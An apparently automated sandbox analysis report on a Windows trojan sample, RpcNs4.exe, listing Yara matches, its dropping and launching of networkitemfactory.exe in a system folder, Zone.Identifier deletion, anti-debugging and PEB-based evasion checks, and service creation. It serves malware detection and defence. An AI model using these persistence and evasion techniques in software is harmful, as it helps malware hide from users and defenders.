Source: Yara match	File source: 2.2.RpcNs4.exe.5e052e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.20b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51279e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RpcNs4.exe.5e052e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51052e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.networkitemfactory.exe.51052e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RpcNs4.exe.5e279e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.517659433.0000000000510000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.256801219.00000000005F4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.256746048.00000000005E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.519022380.0000000002094000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe

Code function: 4_2_020B2580 CryptCreateHash,CryptAcquireContextW,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptImportKey,LocalFree,CryptGenKey,GetProcessHeap,RtlAllocateHeap,

4_2_020B2580

Source: RpcNs4.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\RpcNs4.exe

File deleted: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe:Zone.Identifier

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe

File created: C:\Windows\SysWOW64\rasphone\

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00403B79	2_2_00403B79
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_004160CC	2_2_004160CC
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00409163	2_2_00409163
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00416919	2_2_00416919
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0041B92F	2_2_0041B92F
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0041A136	2_2_0041A136
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_004079A1	2_2_004079A1
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0041EAA3	2_2_0041EAA3
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00412B63	2_2_00412B63
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00420B08	2_2_00420B08
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00415BD8	2_2_00415BD8
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0041AC13	2_2_0041AC13
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0041D439	2_2_0041D439
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_004164E4	2_2_004164E4
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00416D4E	2_2_00416D4E
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0041A6A1	2_2_0041A6A1
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B3B50	2_2_020B3B50
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B7830	2_2_020B7830
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B3E70	2_2_020B3E70
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B1C10	2_2_020B1C10
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B3C90	2_2_020B3C90
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B64F0	2_2_020B64F0
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00403B79	4_2_00403B79
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_004160CC	4_2_004160CC
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00409163	4_2_00409163
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00416919	4_2_00416919
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0041B92F	4_2_0041B92F
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0041A136	4_2_0041A136
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_004079A1	4_2_004079A1
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0041EAA3	4_2_0041EAA3
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00412B63	4_2_00412B63
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00420B08	4_2_00420B08
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00415BD8	4_2_00415BD8
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0041AC13	4_2_0041AC13
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0041D439	4_2_0041D439
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_004164E4	4_2_004164E4
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00416D4E	4_2_00416D4E
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0041A6A1	4_2_0041A6A1
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B3B50	4_2_020B3B50
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B7830	4_2_020B7830
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B3E70	4_2_020B3E70
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B1C10	4_2_020B1C10
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B3C90	4_2_020B3C90
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B64F0	4_2_020B64F0

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: String function: 00406830 appears 42 times
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: String function: 00406EE5 appears 34 times
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: String function: 00406830 appears 42 times
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: String function: 00406EE5 appears 34 times

Source: RpcNs4.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: RpcNs4.exe	Virustotal: Detection: 78%
Source: RpcNs4.exe	Metadefender: Detection: 73%
Source: RpcNs4.exe	ReversingLabs: Detection: 89%

Source: RpcNs4.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\RpcNs4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RpcNs4.exe 'C:\Users\user\Desktop\RpcNs4.exe'
Source: C:\Users\user\Desktop\RpcNs4.exe	Process created: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe C:\Windows\SysWOW64\rasphone\networkitemfactory.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RpcNs4.exe	Process created: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable	Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: classification engine

Classification label: mal96.troj.evad.winEXE@16/5@0/88

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: CloseServiceHandle,OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,

2_2_020B8830

Source: C:\Users\user\Desktop\RpcNs4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe

Code function: 4_2_020B4BF0 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,Process32NextW,Process32NextW,Process32FirstW,CloseHandle,FindCloseChangeNotification,

4_2_020B4BF0

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:4636:120:WilError_01

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00406875 push ecx; ret	2_2_00406888
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0040F141 push ecx; ret	2_2_0040F154
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5E10 push ecx; mov dword ptr [esp], 00004C6Fh	2_2_020B5E11
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5EC0 push ecx; mov dword ptr [esp], 000098C7h	2_2_020B5EC1
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5F00 push ecx; mov dword ptr [esp], 0000B789h	2_2_020B5F01
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5F50 push ecx; mov dword ptr [esp], 0000285Dh	2_2_020B5F51
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5C40 push ecx; mov dword ptr [esp], 00008691h	2_2_020B5C41
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5C70 push ecx; mov dword ptr [esp], 0000B66Ah	2_2_020B5C71
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5CB0 push ecx; mov dword ptr [esp], 000001F6h	2_2_020B5CB1
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5CF0 push ecx; mov dword ptr [esp], 00003EEDh	2_2_020B5CF1
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5D30 push ecx; mov dword ptr [esp], 0000E6FEh	2_2_020B5D31
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5D80 push ecx; mov dword ptr [esp], 00001B06h	2_2_020B5D81
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B5DA0 push ecx; mov dword ptr [esp], 000086AAh	2_2_020B5DA1
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00406875 push ecx; ret	4_2_00406888
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0040F141 push ecx; ret	4_2_0040F154
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5E10 push ecx; mov dword ptr [esp], 00004C6Fh	4_2_020B5E11
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5EC0 push ecx; mov dword ptr [esp], 000098C7h	4_2_020B5EC1
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5F00 push ecx; mov dword ptr [esp], 0000B789h	4_2_020B5F01
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5F50 push ecx; mov dword ptr [esp], 0000285Dh	4_2_020B5F51
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5C40 push ecx; mov dword ptr [esp], 00008691h	4_2_020B5C41
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5C70 push ecx; mov dword ptr [esp], 0000B66Ah	4_2_020B5C71
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5CB0 push ecx; mov dword ptr [esp], 000001F6h	4_2_020B5CB1
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5CF0 push ecx; mov dword ptr [esp], 00003EEDh	4_2_020B5CF1
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5D30 push ecx; mov dword ptr [esp], 0000E6FEh	4_2_020B5D31
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5D80 push ecx; mov dword ptr [esp], 00001B06h	4_2_020B5D81
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B5DA0 push ecx; mov dword ptr [esp], 000086AAh	4_2_020B5DA1

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_00401880 _malloc,LoadLibraryA,GetProcAddress,

2_2_00401880

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\RpcNs4.exe

Executable created and started: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe

PE file moved: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\RpcNs4.exe

File opened: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_00403B79 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00403B79

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\Desktop\RpcNs4.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_2-21718

Source: C:\Windows\System32\svchost.exe TID: 3132

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe

API coverage: 8.5 %

Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B3890 _snwprintf,FindFirstFileW,FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,FindClose,		2_2_020B3890
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B3890 _snwprintf,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindClose,FindClose,		4_2_020B3890

Source: C:\Users\user\Desktop\RpcNs4.exe	API call chain: ExitProcess graph end node	graph_2-21450
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	API call chain: ExitProcess graph end node	graph_4-22365
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	API call chain: ExitProcess graph end node	graph_4-21915

Source: C:\Users\user\Desktop\RpcNs4.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 00000005.00000002.519834016.000001A00E260000.00000004.00000001.sdmp	Binary or memory string: "@Hyper-V RAW
Source: networkitemfactory.exe, 00000004.00000002.519541263.000000000259D000.00000004.00000001.sdmp, svchost.exe, 00000005.00000002.517847536.000001A008A29000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000007.00000002.517367438.0000021F46802000.00000004.00000001.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000007.00000002.517433093.0000021F46828000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.517881294.0000023333664000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.517673418.0000024160029000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_00406A89 _memset,IsDebuggerPresent,

2_2_00406A89

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_0040E3C3 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0040E3C3

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_00401880 _malloc,LoadLibraryA,GetProcAddress,

2_2_00401880

Source: C:\Users\user\Desktop\RpcNs4.exe

Code function: 2_2_0040408A GetProcessHeap,

2_2_0040408A

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B3E70 mov eax, dword ptr fs:[00000030h]	2_2_020B3E70
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_020B4D60 mov eax, dword ptr fs:[00000030h]	2_2_020B4D60
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B3E70 mov eax, dword ptr fs:[00000030h]	4_2_020B3E70
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_020B4D60 mov eax, dword ptr fs:[00000030h]	4_2_020B4D60
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_02091030 mov eax, dword ptr fs:[00000030h]	4_2_02091030

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_00406769 SetUnhandledExceptionFilter,	2_2_00406769
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: 2_2_0040679A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0040679A
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_00406769 SetUnhandledExceptionFilter,	4_2_00406769
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: 4_2_0040679A SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0040679A

Source: networkitemfactory.exe, 00000004.00000002.518757751.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: networkitemfactory.exe, 00000004.00000002.518757751.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: networkitemfactory.exe, 00000004.00000002.518757751.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: networkitemfactory.exe, 00000004.00000002.518757751.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: networkitemfactory.exe, 00000004.00000002.518757751.0000000000C80000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_0041989E
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	2_2_0041994B
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	2_2_0040D16E
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	2_2_0041119A
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	2_2_004191AF
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	2_2_00419A1F
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_0041947F
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: EnumSystemLocalesW,	2_2_00419423
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_0040FC2A
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_004194FC
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	2_2_00410D5A
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	2_2_0041957F
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: EnumSystemLocalesW,	2_2_0040FE0B
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: GetLocaleInfoW,	2_2_0040FE91
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00419774
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_memmove,_memmove,_memmove,_free,_free,_free,_free,_free,_free,_free,_free,_free,	2_2_00415723
Source: C:\Users\user\Desktop\RpcNs4.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_004117D4
Source: C:\Windows\SysWOW64\rasphone\networkitemfactory.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_0041989E
